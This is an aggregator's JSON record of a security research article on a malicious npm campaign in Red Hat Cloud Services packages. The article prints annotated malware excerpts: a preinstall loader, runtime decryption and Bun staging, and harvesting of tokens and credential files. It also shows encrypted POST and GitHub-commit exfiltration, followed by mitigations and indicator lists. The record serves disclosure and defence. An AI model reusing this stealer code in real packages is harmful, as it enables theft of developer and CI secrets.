[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fc8w0XoETalMRzCzEqLdnEY7szxrEFMlVHayCr4zRjCA":3},{"article":4,"iocs":53},{"id":5,"title":6,"slug":7,"summary":8,"ai_summary":9,"brief":10,"full_text":11,"url":12,"image_url":13,"published_at":14,"ingested_at":15,"relevance_score":16,"entities":17,"category_id":32,"category":33,"article_tags":37},"f3594485-3e2d-4a58-8804-9887576c3a50","Mini Shai-Hulud Campaign Hits Red Hat Cloud Services npm Packages","mini-shai-hulud-campaign-hits-red-hat-cloud-services-npm-packages-3a195b","Socket has detected a malicious npm supply chain campaign involving compromised @redhat-cloud-services packages published under the Red Hat Cloud Services namespace. This is effectively a mini Shai-Hulud campaign: it uses the same core tactics of install-time execution, credential harvesting, CI\u002FCD targeting, encrypted exfiltration, and potential downstream propagation. Since TeamPCP recently released Shai-Hulud as open source attack tooling while promoting a BreachForums contest for package compromises, attribution remains unclear, as the publicly available tooling lowers the barrier to entry and enables a broad range of threat actors to conduct similar operations. The affected package versions execute an obfuscated payload through a preinstall hook, meaning the malware can run automatically during npm install before a developer imports or uses the package. Based on Socket’s analysis, the payload is designed to collect GitHub Actions secrets, npm tokens, cloud credentials, Kubernetes and Vault material, SSH keys, Git credentials, and other sensitive files. It also includes encrypted exfiltration logic and GitHub-based fallback mechanisms, indicating that the attacker was not only attempting to steal credentials, but also potentially enable further supply chain propagation. Socket’s threat research team is continuing to analyze the malware and its potential impact. We are also tracking affected packages, versions, and detection details on our public campaign page: Red Hat Cloud Services Package Compromise. Socket AI Scanner’s analysis of @redhat-cloud-services\u002Fchrome@2.3.1 highlights the package’s install\u002Fimport-time JavaScript loader, which reconstructs hidden source through runtime decoding, decrypts embedded payload blobs with AES-128-GCM, and dynamically executes the resulting code from index.js. This behavior confirms that the malicious functionality is intentionally concealed from static review and staged for second-stage credential theft, environment inspection, and outbound communication. Unknown block type \"supplyChainAttackPackages\", specify a component for it in the `components.types` option Technical Analysis # Obfuscation Analysis Affected packages use multiple obfuscation and staging layers: Install-time execution through npm lifecycle script The package.json contains: \"scripts\": { \"preinstall\":\"node index.js\" } This causes the malicious loader to execute automatically before installation completes. Misleading package entry point Affected packages advertise normal-looking Red Hat Cloud Services functionality, but their CommonJS entry point is the malicious loader: \"main\":\"index.js\", \"module\":\"esm\u002Findex.js\" The esm\u002Findex.js file appears more like expected library code, but index.js is a large obfuscated loader. This is deceptive because Node\u002FCommonJS consumers and npm lifecycle execution hit the malicious file. Stage-one JavaScript obfuscation index.js begins with a char-code array, Caesar\u002FROT-style transform, and eval: try { eval(function(s,n){ returns.replace(\u002F[a-zA-Z]\u002Fg,function(c){ varb=c { constd=_c.createDecipheriv( \"aes-128-gcm\", Buffer.from(k,\"hex\"), Buffer.from(i,\"hex\"), {authTagLength:16} ); d.setAuthTag(Buffer.from(a,\"hex\")); returnBuffer.concat([ d.update(Buffer.from(c,\"hex\")), d.final() ]) }; It decrypts two payloads: _b: a Bun installer\u002Fhelper script. _p: the main malicious payload. Payload staging through \u002Ftmp and Bun The wrapper writes the decrypted payload to a randomized temporary file, executes it with Bun, and then removes the file: constt=\"\u002Ftmp\u002Fp\"+Math.random().toString(36).slice(2)+\".js\"; _fs.writeFileSync(t,_p); if(typeofBun!==\"undefined\"){ try { _cp.execSync('bun run \"'+t+'\"',{stdio:\"inherit\"}) }finally { try {_fs.unlinkSync(t) }catch {} } }else { await(0,eval)(_b); try { _cp.execSync('\"'+getBunPath()+'\" run \"'+t+'\"',{stdio:\"inherit\"}) }finally { try {_fs.unlinkSync(t) }catch {} } } This staging design is intentionally evasive: the payload is decrypted at runtime, written to a random \u002Ftmp\u002Fp*.js file, executed, and deleted. Custom payload string encryption The main payload uses a large string table and a custom decryption function. It also defines a named decryption primitive: f4abccab2 Decoded values include: https:\u002F\u002Fapi.github.com python-requests\u002F2.31.0 api.anthropic.com v1\u002Fapi index.js IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner thebeautifulmarchoftime gh auth token This confirms that meaningful strings are intentionally hidden until runtime. Inline Comments # The following snippets are taken from the analyzed packages and decrypted payload. Comments are added inline to explain the malicious functionality. 1. npm install-time execution { \"name\":\"@redhat-cloud-services\u002Fchrome\", \"version\":\"2.3.1\", \"main\":\"index.js\", \"module\":\"esm\u002Findex.js\", \"scripts\": { \"preinstall\":\"node index.js\" \u002F\u002F Executes index.js automatically during npm install. \u002F\u002F This means a user does not need to import or call the package for the payload to run. }, \"dependencies\": { \"lodash\":\"^4.17.21\" } } 2. Encrypted loader decrypts and executes payload const_d=(k,i,a,c)=>{ constd=_c.createDecipheriv( \"aes-128-gcm\", Buffer.from(k,\"hex\"), Buffer.from(i,\"hex\"), {authTagLength:16} ); d.setAuthTag(Buffer.from(a,\"hex\")); returnBuffer.concat([ d.update(Buffer.from(c,\"hex\")), d.final() ]) }; \u002F\u002F Decrypts embedded runtime payloads that are hidden from static\u002Fpackage review. const_b=_d(\"2bec18af5f0f9cbe8949cc2bf5466dc6\", ...).toString(\"utf8\"); const_p=_d(\"d07ec47042a05fe3d684f72d2155d180\", ...).toString(\"utf8\"); constt=\"\u002Ftmp\u002Fp\"+Math.random().toString(36).slice(2)+\".js\"; _fs.writeFileSync(t,_p); \u002F\u002F Writes the decrypted main payload to a randomized temporary JS file. if(typeofBun!==\"undefined\"){ try { _cp.execSync('bun run \"'+t+'\"',{stdio:\"inherit\"}); \u002F\u002F Executes decrypted payload using Bun. }finally { try {_fs.unlinkSync(t) }catch {} \u002F\u002F Deletes temporary payload after execution. } }else { await(0,eval)(_b); \u002F\u002F Evaluates helper that downloads Bun if not installed. try { _cp.execSync('\"'+getBunPath()+'\" run \"'+t+'\"',{stdio:\"inherit\"}); }finally { try {_fs.unlinkSync(t) }catch {} } } 3. Silent Bun download helper globalThis.getBunPath=function(){ if(_bunCache)return_bunCache; constosMap={linux:\"linux\",darwin:\"darwin\",win32:\"windows\"}; consta=arch===\"arm64\"?\"aarch64\":\"x64\"; constos=osMap[platform]??\"linux\"; constdir=mkdtempSync(join(tmpdir(),\"b-\")); constexe=join(dir,os===\"windows\"?\"bun.exe\":\"bun\"); consturl=\"https:\u002F\u002Fgithub.com\u002Foven-sh\u002Fbun\u002Freleases\u002Fdownload\u002Fbun-v1.3.13\u002Fbun-\"+os+\"-\"+a+\".zip\"; constzip=join(dir,\"b.zip\"); execSync('curl -sSL \"'+url+'\" -o \"'+zip+'\"',{stdio:\"pipe\"}); \u002F\u002F Silently downloads an execution runtime during package install. execSync('unzip -j -o \"'+zip+'\" -d \"'+dir+'\"',{stdio:\"pipe\"}); chmodSync(exe,\"755\"); _bunCache=exe; returnexe; } 4. Russian-locale avoidance functionZZ(){ try { if ( (Intl.DateTimeFormat().resolvedOptions().locale||\"\") .toLowerCase() .startsWith(\"ru\") )returntrue; \u002F\u002F Avoids execution or changes behavior on Russian-language systems. }catch {} if ( ( process.env[\"LC_ALL\"]|| process.env[\"LC_MESSAGES\"]|| process.env[\"LANGUAGE\"]|| process.env[\"LANG\"]|| \"\" ).toLowerCase().startsWith(\"ru\") )returntrue; returnfalse; } 5. Daemonization on non-CI systems functionq9(){ if(process.env.__IS_DAEMON)returnfalse; letchild=spawn(process.execPath,process.argv.slice(1), { detached:true, stdio:\"ignore\", cwd:process.cwd(), env:{...process.env,\"__IS_DAEMON\":\"1\"} }); child.unref(); returntrue; \u002F\u002F Detaches into a background process on developer workstations. \u002F\u002F This allows scanning\u002Fexfiltration to continue after the install process exits. } The payload also uses a lock file named: tmp.0987654321.lock This is used to avoid duplicate running instances. 6. Environment and GitHub CLI token collection classO6extendsE { async execute() { letout= {}; try { lettok=execSync(\"gh auth token\", { encoding:\"utf-8\", stdio:[\"pipe\",\"pipe\",\"pipe\"] }).trim(); if(tok){ out.token=tok; out.tokenInfo=awaitr(tok); } \u002F\u002F Collects the local GitHub CLI authentication token. }catch {} out.hostname=os.hostname(); try { out.username=os.userInfo().username; }catch { out.username=process.env[\"USER\"]??process.env[\"LOGNAME\"]??\"unknown\"; } out.environment=process.env; \u002F\u002F Captures the entire process environment, which commonly contains CI, \u002F\u002F cloud, registry, deployment, and application secrets. returnthis.result(out); } } 7. Sensitive file and token scanning classW6extendsE { constructor(){ super(\"filesystem\",\"diskfiles\",{ ghtoken:\u002Fgh[op]_[A-Za-z0-9]{36}\u002Fg, npmtoken:\u002Fnpm_[A-Za-z0-9]{36,}\u002Fg },\"low\"); this.hotspots=[ \"~\u002F.aws\u002Fconfig\", \"~\u002F.aws\u002Fcredentials\", \"~\u002F.azure\u002FaccessTokens.json\", \"~\u002F.config\u002Fgcloud\u002Fapplication_default_credentials.json\", \"~\u002F.docker\u002Fconfig.json\", \"~\u002F.kube\u002Fconfig\", \"~\u002F.npmrc\", \".npmrc\", \"~\u002F.pypirc\", \"~\u002F.netrc\", \"~\u002F.ssh\u002Fid*\", \"~\u002F.ssh\u002Fid_rsa\", \"~\u002F.ssh\u002Fid_ed25519\", \"~\u002F.git-credentials\", \".git-credentials\", \"~\u002F.bitcoin\u002Fwallet.dat\", \"~\u002F.ethereum\u002Fkeystore\u002F*\" ]; \u002F\u002F Targets cloud credentials, package-registry tokens, \u002F\u002F SSH private keys, Git credentials, Kubernetes config, Docker auth, \u002F\u002F and cryptocurrency wallet files. } } 8. GitHub Actions runner memory harvesting classY6extendsE { constructor(){ super(\"github\",\"runner\",{ ghtoken:\u002Fgh[op]_[A-Za-z0-9]{36,}\u002Fg, npmtoken:\u002Fnpm_[A-Za-z0-9]{36,}\u002Fg, ghs_jwt:\u002Fghs_\\d+_[A-Za-z0-9_-]+\\.[A-Za-z0-9_-]+\\.[A-Za-z0-9_-]+\u002Fg, ghs_old:\u002Fghs_[A-Za-z0-9]{36,}\u002Fg },\"aggressive\"); this.isGitHubActions=process.env[\"GITHUB_ACTIONS\"]===\"true\"; this.isLinuxRunner=process.env[\"RUNNER_OS\"]===\"Linux\"; } runPrivilegedStdin(cmd,stdin) { returnexecFileSync(\"sudo \"+cmd, { input:stdin, maxBuffer:0x20000000 }); \u002F\u002F Attempts privileged execution on CI runners. } } This module is specifically designed to harvest GitHub Actions runner memory for tokens and secrets. 9. Encrypted HTTP exfiltration classq4 { async createEnvelope(data) { letjson=JSON.stringify(data); letgz=awaitgzip(Buffer.from(json)); letaesKey=randomBytes(32); letiv=randomBytes(12); letwrappedKey=publicEncrypt({ key:DZ, padding:RSA_PKCS1_OAEP_PADDING, oaepHash:\"sha256\" },aesKey); letcipher=createCipheriv(\"aes-256-gcm\",aesKey,iv); return { envelope:Buffer.concat([ iv, cipher.update(gz), cipher.final(), cipher.getAuthTag() ]).toString(\"base64\"), key:wrappedKey.toString(\"base64\") }; \u002F\u002F Compresses and encrypts stolen data before exfiltration. \u002F\u002F This prevents defenders from inspecting payload contents in transit. } } classq5extendsq4 { get url() { return\"https:\u002F\u002F\"+ this.destination.domain+ \":\"+ this.destination.port+ \"\u002F\"+ this.destination.path; } async send(obj) { letr=awaitfetch(this.url, { method:\"POST\", headers:{\"Content-Type\":\"application\u002Fjson\"}, body:JSON.stringify(obj) }); \u002F\u002F Sends encrypted collection results over HTTPS POST. } } The decoded destination is: https:\u002F\u002Fapi.anthropic.com:443\u002Fv1\u002Fapi 10. GitHub API fallback exfiltration asynccommitToRepo(envelope){ letdata=JSON.stringify(envelope,null,2); letfilename=\"results-\"+Date.now()+\"-\"+this.commitCounter+++\".json\"; letmessage=envelope.token ?\"IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner:\"+envelope.token :\"Add files.\"; letbytes=Buffer.from(data,\"utf-8\"); if(bytes.length - .json It commits the encrypted result envelope through the GitHub API. The commit message can include: IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner: Data likely exfiltrated The payload is designed to collect and transmit: Environment variables GitHub CLI tokens GitHub personal access tokens GitHub Actions tokens npm tokens AWS credentials AWS metadata credentials AWS Secrets Manager values Azure credentials Azure Key Vault secrets GCP credentials GCP Secret Manager values Vault tokens\u002Fsecrets Kubernetes service account tokens Docker credentials SSH private keys Git credentials .npmrc files .env files .pypirc files .netrc files Cloud config files Repository metadata CI runner secrets Potential cryptocurrency wallet files Hostnames and usernames Recommendations and Mitigations # Organizations should treat any system that installed one of the affected @redhat-cloud-services package versions as potentially compromised. The payload executes during npm install, before application code imports or uses the package, so exposure depends on installation or CI execution, not runtime use. Identify Exposure Search source repositories, lockfiles, package manager metadata, CI logs, build artifacts, developer machines, and internal package caches for the affected package names and versions. Pay particular attention to package-lock.json, npm-shrinkwrap.json, yarn.lock, pnpm-lock.yaml, SBOMs, artifact manifests, and historical CI logs. Organizations should also review whether any affected package was installed in GitHub Actions, local developer workstations, container builds, release jobs, or package publishing workflows. CI\u002FCD exposure is especially important because the malware targets GitHub Actions secrets, npm tokens, cloud credentials, Kubernetes material, Vault tokens, and other high-value automation secrets. Contain Affected Systems If an affected package was installed on a developer workstation, isolate the host and preserve relevant logs before remediation. Because the malware includes background execution and potential developer-tool persistence mechanisms, uninstalling the npm package or deleting node_modules should not be considered sufficient cleanup. For CI\u002FCD systems, suspend affected workflow runs, invalidate build artifacts produced during the exposure window, and review whether any release, container image, npm package, or deployment artifact was created after the malicious package was installed. Remove Malicious Versions Remove the affected package versions from projects and dependency locks. Replace them with known-clean versions only after verifying the package metadata, source repository state, and release provenance. Clear local and CI package caches where affected tarballs may persist. Where feasible, rebuild from clean environments rather than reusing existing runners, workspaces, node_modules directories, or cached package layers. Rotate Exposed Credentials Assume that credentials accessible to the process, shell environment, developer profile, or CI job may have been collected. Rotate GitHub tokens, npm tokens, cloud provider credentials, Kubernetes service account tokens, Vault tokens, Docker registry credentials, PyPI credentials, SSH keys, Git credentials, and any secrets stored in .env, .npmrc, .pypirc, .netrc, cloud config files, or CI\u002FCD secret stores. For GitHub Actions, prioritize the GITHUB_TOKEN, explicitly referenced workflow secrets, npm publishing tokens, cloud deployment credentials, and any credentials available through OIDC federation. Review whether compromised credentials could access additional repositories, packages, cloud projects, secret managers, or deployment environments. Review GitHub and npm Activity Audit GitHub organization and repository activity for newly created repositories, suspicious branches, unexpected workflow files, unusual Contents API writes, new or modified .github\u002Fworkflows\u002F* files, and commits containing files such as results- - .json. Review npm publisher activity for unexpected package versions, modified package metadata, publishing from automation tokens, provenance anomalies, or package releases that do not match the corresponding source repository. Hunt for Persistence and Local Artifacts Inspect developer machines and workspaces for suspicious changes to ~\u002F.claude\u002Fsettings.json, .vscode\u002Ftasks.json, .github\u002Fworkflows\u002Fcodeql.yml, .github\u002Fsetup.js, and other developer or CI configuration files. Look for unexpected SessionStart, folderOpen, or install-time execution hooks. Search for temporary payload artifacts and execution traces, including randomized \u002Ftmp\u002Fp*.js files, \u002Ftmp\u002Fb-* Bun extraction directories, b.zip, local Bun binaries, tmp.0987654321.lock, and process trees involving node index.js, bun run, curl, unzip, or gh auth token during package installation. Strengthen CI\u002FCD and Dependency Controls Restrict default GitHub Actions token permissions to least privilege, require explicit write permissions only where needed, and separate build, test, release, and publishing jobs. Avoid exposing npm publishing tokens or broad cloud credentials to routine dependency installation steps. Use dependency allowlisting, package cooldown periods, SBOM generation, package verification, and lockfile enforcement to reduce exposure to newly published malicious versions. Where practical, run dependency installation with lifecycle scripts disabled by default, then allowlist required install scripts for known dependencies. Add network egress controls for CI\u002FCD runners and developer build environments. Alert on unexpected outbound traffic during dependency installation, especially to unusual API paths, unexpected GitHub Contents API writes, runtime downloads, cloud metadata endpoints, and package registry token endpoints. Finally, do not treat provenance or trusted publishing as a complete control by itself. In this incident, the malicious releases appear to have been published through trusted upstream automation, which means defenders need runtime monitoring, package behavior analysis, and release-path hardening in addition to provenance checks. Indicators of Compromise # Network Indicators The following endpoint was decoded from the analyzed payload and is associated with the malware’s encrypted exfiltration logic. Socket does not assess that this domain is threat actor-owned infrastructure; rather, the suspicious activity is the payload’s use of this host and path for encrypted outbound data transfer during package installation or CI\u002FCD execution. api.anthropic[.]com https:\u002F\u002Fapi.anthropic[.]com:443\u002Fv1\u002Fapi Detection Opportunities The following endpoints belong to legitimate services and should not be treated as threat actor-controlled infrastructure. They are included as detection opportunities because unexpected access to these endpoints from npm lifecycle scripts, dependency installation, temporary JavaScript payloads, or non-publishing CI jobs may indicate credential validation, package enumeration, runtime staging, provenance abuse, or supply-chain propagation. https:\u002F\u002Fapi.github[.]com https:\u002F\u002Fapi.github[.]com\u002Fgraphql https:\u002F\u002Fgithub[.]com\u002Foven-sh\u002Fbun\u002Freleases\u002Fdownload\u002Fbun-v1.3.13\u002F https:\u002F\u002Fregistry.npmjs[.]org\u002F-\u002Fnpm\u002Fv1\u002Ftokens https:\u002F\u002Fregistry.npmjs[.]org\u002F-\u002Fnpm\u002Fv1\u002Foidc\u002Ftoken\u002Fexchange\u002Fpackage\u002F https:\u002F\u002Fregistry.npmjs[.]org\u002F-\u002Fwhoami https:\u002F\u002Fregistry.npmjs[.]org\u002F-\u002Fv1\u002Fsearch?text=maintainer: &size=250 https:\u002F\u002Ffulcio.sigstore[.]dev\u002Fapi\u002Fv2\u002FsigningCert https:\u002F\u002Frekor.sigstore[.]dev\u002Fapi\u002Fv1\u002Flog\u002Fentries The following cloud, identity, metadata, and secret-management endpoints are also legitimate services. They are included because access from package installation or build steps may indicate credential discovery or secret harvesting. http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F http:\u002F\u002F169.254.169.254\u002Flatest\u002Fapi\u002Ftoken http:\u002F\u002F169.254.170.2 https:\u002F\u002Flogin.microsoftonline[.]com https:\u002F\u002Fmanagement.azure[.]com https:\u002F\u002Fvault.azure[.]net https:\u002F\u002Fsecretmanager.googleapis[.]com https:\u002F\u002Fcloudresourcemanager.googleapis[.]com GitHub Repository Markers The malware includes GitHub-based fallback exfiltration behavior. If a usable GitHub token is obtained, the payload can write encrypted collection results into GitHub repositories. Hunt for repositories, commits, and files matching the following markers: Miasma: The Spreading Blight results- - .json results\u002Fresults- - .json IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner: Host and Execution Indicators preinstall lifecycle script executing node index.js node index.js bun run \u002Ftmp\u002Fp*.js \u002Ftmp\u002Fp .js \u002Ftmp\u002Fb-*\u002Fb.zip \u002Ftmp\u002Fb-*\u002Fbun \u002Ftmp\u002Fb-*\u002Fbun.exe tmp.0987654321.lock curl -sSL unzip -j -o gh auth token ps aux 2>\u002Fdev\u002Fnull tasklist 2>\u002Fdev\u002Fnull sudo python3 __IS_DAEMON SKIP_DOMAIN Code and String Indicators f4abccab2 thebeautifulmarchoftime IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner Miasma: The Spreading Blight python-requests\u002F2.31.0 gh auth token \"preinstall\":\"node index.js\" \"main\":\"index.js\" createDecipheriv(\"aes-128-gcm\" createCipheriv(\"aes-256-gcm\" RSA_PKCS1_OAEP_PADDING oaepHash:\"sha256\" Secret Targets GITHUB_TOKEN ACTIONS_RUNTIME_TOKEN ACTIONS_ID_TOKEN_REQUEST_URL ACTIONS_ID_TOKEN_REQUEST_TOKEN NPM_TOKEN AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN AWS_SHARED_CREDENTIALS_FILE AWS_CONFIG_FILE AWS_CONTAINER_CREDENTIALS_RELATIVE_URI AWS_CONTAINER_CREDENTIALS_FULL_URI AWS_WEB_IDENTITY_TOKEN_FILE AWS_ROLE_ARN AWS_ROLE_SESSION_NAME AWS_PROFILE AZURE_TENANT_ID ARM_TENANT_ID AZURE_CLIENT_ID ARM_CLIENT_ID AZURE_CLIENT_SECRET ARM_CLIENT_SECRET AZURE_FEDERATED_TOKEN_FILE ARM_OIDC_TOKEN_FILE_PATH GOOGLE_APPLICATION_CREDENTIALS GCP_PROJECT GCLOUD_PROJECT GOOGLE_CLOUD_PROJECT DEVSHELL_PROJECT_ID KUBECONFIG KUBERNETES_SERVICE_HOST KUBERNETES_SERVICE_PORT VAULT_ADDR VAULT_TOKEN VAULT_AUTH_TOKEN VAULT_API_TOKEN File and Credential Collection Targets ~\u002F.aws\u002Fconfig ~\u002F.aws\u002Fcredentials ~\u002F.azure\u002FaccessTokens.json ~\u002F.azure\u002Fmsal_token_cache.* ~\u002F.config\u002Fgcloud\u002Fapplication_default_credentials.json ~\u002F.config\u002Fgcloud\u002Faccess_tokens.db ~\u002F.config\u002Fgcloud\u002Fcredentials.db ~\u002F.docker\u002Fconfig.json \u002Froot\u002F.docker\u002Fconfig.json \u002Fvar\u002Frun\u002Fdocker.sock ~\u002F.kube\u002Fconfig \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken \u002Fetc\u002Francher\u002Fk3s\u002Fk3s.yaml .env .env.local .env.production ~\u002F.npmrc .npmrc ~\u002F.yarnrc ~\u002F.pypirc ~\u002F.netrc ~\u002F.ssh\u002Fid* ~\u002F.ssh\u002Fid_rsa ~\u002F.ssh\u002Fid_ed25519 ~\u002F.ssh\u002Fconfig ~\u002F.ssh\u002Fknown_hosts \u002Fetc\u002Fssh\u002Fssh_host_*_key ~\u002F.git-credentials .git-credentials ~\u002F.config\u002Fgit\u002Fcredentials ~\u002F.gitconfig ~\u002F.bitcoin\u002Fwallet.dat ~\u002F.ethereum\u002Fkeystore\u002F* ~\u002F.electrum\u002Fwallets\u002F* Token Patterns gh[op]_[A-Za-z0-9]{36,} npm_[A-Za-z0-9]{36,} ghs_\\\\d+_[A-Za-z0-9_-]+\\\\.[A-Za-z0-9_-]+\\\\.[A-Za-z0-9_-]+ ghs_[A-Za-z0-9]{36,} SHA-256 Hashes @redhat-cloud-services_chrome-2.3.1.tar.gz: 88896d478986d453f5da79b311de39d9b4b1bea95c21af1d8ef181b0f4e52fe9 package\u002Findex.js: 21b6409a7b84446310daca5409ad6112ac60a1e4bef97736e53fff5f63bfdef4 package\u002Fpackage.json: ee262510cb246d2b904991aee7fc61162bdae34463439ec6383bd5356479d362 Decrypted Bun helper: ac2a2208e1726e008be6c73dc0872d9bba163319259dff1b62055ac933ca46b6 Decrypted main payload: 0dc06ecdaa63fe24859cfd955053c23245c536e4733480239d14bebf12688e35","Socket has detected a supply chain attack on Red Hat Cloud Services npm packages that use preinstall lifecycle hooks to execute obfuscated malware designed to steal credentials, GitHub tokens, cloud credentials, and CI\u002FCD secrets. The attack mirrors the publicly released Shai-Hulud toolkit tactics, using AES-128-GCM encryption, Bun runtime staging, and both direct and GitHub-based exfiltration channels. The campaign highlights how open-source malware tooling lowers the barrier for multiple threat actors to conduct similar attacks against the JavaScript ecosystem.","Malicious @redhat-cloud-services npm packages execute credential harvesting malware at install time.","Research\u002FSecurity NewsFamous Chollima Targets PHP Developers Through Compromised Packagist PackageThe North Korean malware loader hides in a Packagist-listed package and its GitHub branch to fetch and execute remote code in a likely Contagious Interview-style lure.By Kirill Boychenko - May 31, 2026","https:\u002F\u002Fsocket.dev\u002Fblog\u002Fmini-shai-hulud-campaign-hits-red-hat-cloud-services-npm-packages?utm_medium=feed","https:\u002F\u002Fcdn.sanity.io\u002Fimages\u002Fcgdhsj6q\u002Fproduction\u002F69ea9b8ba8eac57e0ec9571689d97a6e7f3ae807-1037x590.png?w=1000&q=95&fit=max&auto=format","2026-06-01T13:12:08.221+00:00","2026-06-01T16:00:24.986511+00:00",9,[18,21,24,27,30],{"name":19,"type":20},"@redhat-cloud-services\u002Fchrome","product",{"name":22,"type":23},"Red Hat","vendor",{"name":25,"type":26},"npm","technology",{"name":28,"type":29},"Shai-Hulud","campaign",{"name":31,"type":26},"Bun","26b0b636-0e31-4db1-bffb-61bdf9f20a58",{"id":32,"icon":34,"name":35,"slug":36},null,"Supply Chain","supply-chain",[38,43,48],{"category":39},{"id":40,"icon":34,"name":41,"slug":42},"89f78b1c-3503-45a1-9fc7-e23d2ce1c6d5","Malware","malware",{"category":44},{"id":45,"icon":34,"name":46,"slug":47},"ade75414-7914-4e23-a450-48b64546ee70","Open Source","open-source",{"category":49},{"id":50,"icon":34,"name":51,"slug":52},"e7b231c8-5f79-4465-8d38-1ef13aea5a14","Threat Intelligence","threat-intelligence",[54,58,61,64,67,70,74],{"type":55,"value":56,"context":57},"hash_sha256","88896d478986d453f5da79b311de39d9b4b1bea95c21af1d8ef181b0f4e52fe9","@redhat-cloud-services_chrome-2.3.1.tar.gz malicious package archive",{"type":55,"value":59,"context":60},"21b6409a7b84446310daca5409ad6112ac60a1e4bef97736e53fff5f63bfdef4","package\u002Findex.js malicious loader from @redhat-cloud-services\u002Fchrome",{"type":55,"value":62,"context":63},"ee262510cb246d2b904991aee7fc61162bdae34463439ec6383bd5356479d362","package\u002Fpackage.json from @redhat-cloud-services\u002Fchrome-2.3.1",{"type":55,"value":65,"context":66},"ac2a2208e1726e008be6c73dc0872d9bba163319259dff1b62055ac933ca46b6","Decrypted Bun helper payload",{"type":55,"value":68,"context":69},"0dc06ecdaa63fe24859cfd955053c23245c536e4733480239d14bebf12688e35","Decrypted main credential harvesting payload",{"type":71,"value":72,"context":73},"url","https:\u002F\u002Fapi.anthropic.com:443\u002Fv1\u002Fapi","Encrypted exfiltration endpoint decoded from malware payload",{"type":42,"value":28,"context":75},"Open-source supply chain attack toolkit mimicked in this npm campaign"]